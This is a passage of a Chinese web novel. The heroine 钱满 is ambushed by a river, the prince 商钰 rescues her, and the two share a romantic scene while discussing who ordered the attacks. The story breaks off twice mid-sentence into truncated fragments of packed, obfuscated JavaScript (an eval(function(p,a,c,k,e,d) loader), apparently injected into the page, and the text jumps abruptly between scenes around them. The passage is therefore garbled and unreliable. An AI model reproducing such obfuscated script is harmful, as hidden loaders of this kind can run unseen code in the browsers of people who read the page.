一共四个人,身形看着都比刚才那个林知优要壮实些,但动作却远没有林知优那般迅捷诡异,透着一股子蛮力。 钱满暗骂一声。 真是看得起她,一波接一波。 只是现在浑身发软,刚才吸入的香气还在作祟,钱满的力量和速度都大打折扣,硬拼显然不明智。 钱满脚下猛地一闪,险之又险地避开当先一人劈来的短刀,同时身体借力一蹲,顺势在地上一滚,躲开了另一人挥来的棍棒。 岸边砂石尘土飞扬,钱满脸上灰扑扑的,显得有些狼狈。 “他爹的,不是说这是个新人吗!”一个粗嘎的声音骂道。 “速战速决!别让她跑了!” 四人立刻调整阵型,再次围了上来,攻势更加凶猛。 钱满咬紧牙关,七蕊凝香的后劲让她感觉头晕目眩,眼前甚至出现了片刻的重影。她只能凭借着本能和丰富的格斗经验勉强周旋,利用地形和身法不断闪避,寻找反击的机会。 她能感觉到自己的动作越来越慢,呼吸也越来越急促。 就在一个挥舞着棍棒的壮妇瞅准空隙,狞笑着将棍子狠狠砸向她后心时,钱满已经避无可避,只能勉强侧身,准备硬抗下这一击。 然而疼痛并没有到来。 “住手!” 一声清亮又带着怒意的少年嗓音骤然响起,如同惊雷乍破划破了寂静的河岸。 伴随着这声怒喝,一道劲风自身后袭来,钱满只觉得眼前一花,一道玄色的身影如同离弦之箭般冲了过来,速度快得惊人。 “砰!” “咔嚓!” “啊——!” 几声闷响、骨裂声和惨叫声几乎同时响起。 钱满撑着膝盖,大口喘着气,抬眼看去。 夕阳映照下,一个身着玄色劲装的少年正站在那四个袭击者中间,相比之下,他身影略显单薄,但此刻却散发着一股令人心悸的戾气。 地上躺着两个,抱着胳膊或腿惨叫,另外两个也吓得连连后退,惊恐地看着这个突然冒出来的煞星。 商钰手中握着一柄寒光闪闪的长剑,剑尖斜指地面,几滴鲜血顺着剑刃滑落,滴入尘土。 那张脸,俊美中带着几分未脱的稚气,此刻却布满了寒霜,一双漂亮的凤眼燃烧着熊熊怒火,死死盯着那两个还能站着的袭击者。 钱满有些发愣。 这小子……怎么会在这里? “滚!”商钰的声音冰冷刺骨,不带一丝平日里的娇纵。 那几个袭击者如蒙大赦,也顾不上去扶地上的同伴,连滚爬爬地冲入黑暗,眨眼间就消失不见了。 商钰这才收了剑,但身上的戾气未散,他猛地转过身,几步冲到钱满面前,一把抓住她的胳膊,上下打量着她,眼神里是毫不掩饰的焦急和后怕。 “你怎么样?受伤没有?!”他的声音有些发紧,带着一丝不易察觉的颤抖。 钱满看着他近在咫尺的脸,那双总是带着三分不耐七分挑剔的眼睛此刻写满了担忧,还有……他眼底深处那抹怎么也藏不住的怒火,是对那些袭击者的,也是对她……遇险的后怕? 心脏像是被什么东西轻轻撞了一下,有点麻,有点痒,身体的无力感似乎也减轻了些。 “我没事,”钱满定了定神,拨开他的手,试图站直身体,但腿还是有些软,“你怎么会在这里?” 商钰看她脸色苍白,气息不稳,哪里像是没事的样子?他眉头皱得更紧了:“我……我路过!不行吗?!” 又是路过,钱满扯了扯嘴角。 “那些人……”钱满看向袭击者逃离的方向,“不能让他们就这么跑了。” 商钰哼了一声,语气恢复了几分傲慢:“本殿下出手,他们还能跑到哪里去?周乙李琥!” 两道身影无声无息地出现在不远处。 “殿下。” “跟上去,查清楚是谁指使的。”商钰冷声道。 “是。”周乙和李琥应了一声,迅速消失在夜色中。 “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郭诗语会出手她不意外,但这陆青杨……平时看着一副公事公办、不偏不倚的样子,没想到也掺和进来了。是因为自己挡了她的路,还是因为宋沐风对自己的“另眼相看”让她感到了威胁? 商钰显然也认出了两人,脸色瞬间变得铁青,握着剑柄的手指因为用力而微微发白。他刚要发作,却被钱满一把拉住。 “别动。”钱满低声道,眼神示意他冷静。 就在这时,屋内的人似乎是察觉到了外面的动静,郭诗语推开了房门四处张望。 钱满没有办法,只好拉着商钰往杂物堆更深处钻。 这堆杂物后面恰好有一个半塌的矮墙,形成了一个极为狭小的三角空间,勉强能容纳两个人。 空间逼仄得可怕,两人几乎是胸膛贴着后背地挤在一起。钱满能清晰地感觉到身后少年温热的体温和略显急促的呼吸,他身上淡淡的体香混合着刚才打斗后残留的血腥气,形成一种奇特的、令人心跳加速的气息。 狭小的空间里,没有光的黑暗之中,空气渐渐变得炙热起来。 钱满屏住呼吸,仿佛入定一般一动不敢动。 怀里的商钰轻微地动了一下,钱满才如梦初醒一般,松开了手臂。 但空间实在是太狭小,钱满即便是不动,两人的胸膛也是紧贴在一起,此起彼伏的心跳声隔着薄薄的衣料,擂鼓般不停地敲打,一下,又一下,不知道是谁的声音更大一些。 33. 第 33 章 黑暗放大了感官,钱满无法控制自己越来越乱的心跳,浑身肌肉也忍不住绷紧,太阳穴都变得聒噪起来,她只好紧紧咬紧颌骨,紧握着拳头。 密闭狭小的环境,让两人的呼吸都变得滚烫,地面潮湿,甚至还有一滩浅黄色的污水,商钰嫌弃地皱起眉头,他试着抬脚避开污水,但事与愿违,一下子摔倒在钱满怀里。 温软的身体入怀,钱满下意识地抱住,香甜的气息扑面而来,钱满只觉得脑海里紧绷的神经被冲断了。 “……别乱动。” 商钰没说话,窝在钱满怀里一动不动,但钱满心里又冒出奇怪的想法,就很想怀里的人……动一动,或者抱紧她,这么想着,她的手臂下意识地加重了力道,商钰身体稍微僵了一下,但很快放弃了反抗,任由钱满紧紧地抱着。 郭诗语的脚步一点点走进,嘴里嘟囔了一句,四处看了一圈,没有发现异常,又转身进了屋。 钱满长长地松了口气,刚想动一下,缓解这过于亲密的姿势,却听到商钰在她耳边低声抱怨,带着压抑的怒气和一丝委屈:“都怪你!非要跟过来!差点被发现!” 钱满被他这倒打一耙的语气气笑了,她微微侧过头,黑暗中,她几乎能碰到他的鼻尖。 “殿下,你不在宫里待着,跑到这荒郊野岭来,还打架,像话吗?”钱满压低声音,“下次别这么冲动了,很危险。” 这话本是好意提醒,却像是一下子点燃了商钰。 “危险?!”他猛地提高了音量,又似乎意识到不妥,连忙压低,但语气里的激动和愤怒却丝毫未减,“我还不是为了救你!钱满!你有没有心?!我听说你被人引到河边,我……” 他的声音带着少年人特有的清亮,此刻却因为激动而微微发颤,话语里是毫不掩饰的担忧和……被误解的委屈。 原来……他是担心自己,才一路找过来的吗? 刚才那句“路过”,果然是嘴硬。 只是,他问自己有没有心? 这个小傻蛋儿,没心的是他自己吧? 他既然想知道自己有没有心,不如让他自己感受一下。但眼下这个地方显然不合适,得找个安全的地方。 钱满只觉得心头像是被羽毛划过,痒痒酥酥,脸上也觉得有些热,身体的动作却是很利落,她一把抓住商钰的手腕,拽着他快速离开。 商钰的暗卫很快跟了上来,两人一起上了马车。 一路上两人没有交流,只是一个眼神,商钰似乎感应到了钱满的意思,两人又来到了上次商钰带她来过的农家小院。 夕阳的光辉映射着小院,商钰沉默地走在前面,留给钱满一个单薄的背影。 但不知为何,钱满却能清晰感受到他情绪波动的少年,她忽然觉得,这个别扭又傲娇的小家伙,好像也没那么讨厌了。 心脏扑通扑通跳个不停,她虽然没有经历过惊心动魄的爱情,但着心动的感觉却还是知道的。 两人进了屋子,目光对视,商钰有些别扭地别开了脸。 钱满忽然伸出手,轻轻环住了他的腰,将脸颊贴在了他温热的颈侧。 “你想知道我有没有心?不如自己感受一下。” 商钰的身体猛地一僵,像是被施了定身法,连呼吸都忘了,耳边锣鼓喧天,是钱满的心跳,还有自己的。 良久,钱满松开了手臂,几乎是贴着他的耳朵说道:“小钰,感受到了吧?你是特意过来救我的……你不是恨我,你是喜欢我。” 商钰用力挣脱了钱满的怀抱,眼睛瞪大,一张脸红透,两只拳头握紧,但他久久没有动作。 两人就这么互相瞪着沉默了好久,商钰才回魂一般,淡淡道:“没有,我不是,我就是讨厌你。” “那你为什么过来救我?” 商钰:“你是本宫的仇人,自然不能死到别人手里。” 这么说也似乎很有道理,钱满竟然无法反驳。 只是她不相信商钰的说辞罢了。 不急,他既然这么害羞,那就再等等吧。 “好了,说正事。”钱满恢复了冷静,声音也恢复了平稳,“看来今天晚上想对我动手的,至少有两拨人。” 商钰也定了定神,虽然耳根的热度还没完全褪去,但谈及正事,他的神色也严肃起来:“那个用香的,和刚才那几个废物,不是一伙的?” “不像。”钱满摇头,“第一个人,是林知优,你之前也见过,他身手明显高明很多,更像是专业的杀手或者探子,他用了七蕊凝香,更像是警告或者试探。后面这几个人,就是普通的地痞流氓,下手狠毒,是真想要我的命。而且,他们接头的是郭诗语和陆青杨。” 商钰皱眉:“郭诗语那个毒妇会干这种事不奇怪,陆青杨竟然也是这种人!” “嗯。”钱满点头,“看来我在二组,碍了不少人的眼。” “那我们现在怎么办?冲出去抓住她们?”商钰有些跃跃欲试,他可不怕得罪这两个副组长。 “不。”钱满拦住他,“现在冲出去,她们肯定会抵赖,那几个混混也未必会指证她们。打草惊蛇,反而不美。” “而且,我怀疑郭诗语和陆青杨,未必是最终的幕后黑手,或者说,她们只是其中一环。第一个袭击我的人,那个林知优,他的来路更可疑。他背后的人,或许才是真正的大鱼。” 钱满低声道,“我们先装作什么都不知道,看看她们接下来还有什么动作。也正好查查那个林知优,以及他背后的人。” 两人在小院呆了半个多时辰,直到外面天色完全暗了下来,两人都有着恋恋不舍的意思。 但现在不是卿卿我我的时候。 “咱们回去?” 商钰噘噘嘴,“……好吧,可是我的脚有些疼,刚才跑的时候好像扭到了。” “那……我抱着上马车?” 把人抱在怀里,看到商钰脸上得意的笑容,钱满才知道自己大概率是被骗了,不过她也没有拆穿商钰的拙劣伎俩,毕竟正和她意。 到了马车上,钱满说:“马车颠簸,不如靠着我,免得脚伤加重。” 商钰忍住笑点头,“嗯,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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商钰一看到灵蒲台,眼睛都冒光了,他早就猜到了,钱满这次受伤,他师父说喝茶其实是幌子,就是想让钱满过来疗伤的。 “钱满,你赶紧坐下!” 钱满不解,小声说:“我?我不用坐这个,你受伤了,你坐吧。” 商钰看着钱满呆愣的样子,明白过来,“钱满,你该不会觉得这只是一个普通的坐垫吧?” 其实,钱满心里多少有点猜测,但听了商钰的介绍还是大吃一惊,怪不得她坐了这蒲团之后身体会觉得无比舒适,敢情宋沐风已经给自己治疗过两次了。 但如此一来,钱满更加不好意思自己独享了。 “那……我们一人坐一半。” 商钰抬头看向里间,他琢磨着煮茶还需要一些时间,宋沐风应该没有那么快出来。 于是,等到宋沐风煮好奶茶出来的时候,看到就是这样一幅画面—— 他的好徒儿,在钱满怀里睡得正香。